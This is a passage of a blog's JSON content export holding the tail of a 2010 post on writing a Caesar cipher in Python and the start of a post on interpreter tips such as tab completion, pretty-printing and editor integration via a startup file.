\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1) Encode \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'2) Decode \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eexcept\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eValueError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Invalid task, try again!'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        main()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'What message would you like to \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%s\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Encode'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Decode'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e encode(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e decode(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__name__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'__main__'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    main()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis would prove that you are a decent problem solver and have enough of\nthe language to get things done but if you want to prove you have\nmastered the python language you might take advantage of some slicing\nand some methods out of the string module and change your code to look\nsomething like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e string \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letters, maketrans\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003edecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eencode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003emodify_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    trans \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e maketrans(letters, letters[shift:] \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letters[:shift])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.translate(trans)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eDo get more information on string.letters and string.maketrans you can\nvisit their documentation\n[here](\u003ca href=\"http://docs.python.org/library/string.html\"\u003ehttp://docs.python.org/library/string.html\u003c/a\u003e)\u003c/p\u003e","category":"Development","date":"2010-11-14T18:00:00-06:00","tags":["Python","Interviews"],"title":"Caesar Cipher in Python"},{"id":["old","tips_and_tricks_for_the_python_interpreter"],"path":"old/tips_and_tricks_for_the_python_interpreter","contentHtml":"\u003cp\u003eI have seen a lot of people switch over to using ipython, bpython, etc\nto get auto-complete support without realizing that the standard\ninterpreter does have this functionality.\u003c/p\u003e\n\u003cp\u003eTo enable auto-complete support in the python interpreter you need to\ncreate a python startup file that enables readline support. A python\nstartup file is just a bunch of python code that gets executed at\nstartup of the interpreter. To do this you just setup PYTHONSTARTUP in\nyour ~/.bashrc and then create a ~/.pythonrc.py file:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e#.bashrc\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003ePYTHONSTARTUP\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=~/\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.pythonrc.py\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eexport \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ePYTHONSTARTUP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e#.pythonrc.py\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003etry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e readline\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexcept\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eImportError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Module readline not available.\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e rlcompleter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    readline.parse_and_bind(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tab: complete\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow when you are in python you have tab completion on importing, calling\nmethods on a module, etc.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e o\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eobject\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eoct\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(     \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eopen\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(     os\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI always end up using the pretty print module for viewing long lists and\nstrings in the interpreter so I prefer to just use it by default:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# Enable Pretty Printing for stdout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e pprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003emy_displayhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(value):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e value \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eis\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eNone\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003etry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e __builtin__\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            __builtin__._ \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e value\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eexcept\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eImportError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e._ \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e value\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        pprint.pprint(value)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003esys.displayhook \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e my_displayhook\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt is also very useful to be able to load up your favorite editor to\nedit lines of code from the interpreter, you can do this by adding the\nfollowing into your ~/.pythonrc.py:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sys\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e code \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e InteractiveConsole\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e tempfile \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e mkstemp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eEDITOR\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os.environ.get(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'EDITOR'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'vi'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eEDIT_CMD\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\e'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eEditableBufferInteractiveConsole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eInteractiveConsole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__init__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eargs, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ekwargs):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.last_buffer \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [] \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# This holds the last executed statement\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        InteractiveConsole.\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__init__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eargs, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ekwargs)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003erunsource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self, source, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eargs):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.last_buffer \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [ source.encode(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'latin-1'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e) ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e InteractiveConsole.runsource(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, source, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eargs)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eargs):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        line \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e InteractiveConsole.raw_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eargs)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e line \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eEDIT_CMD\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            fd, tmpfl \u003c/span\u003e\u003cspan style=\"color: 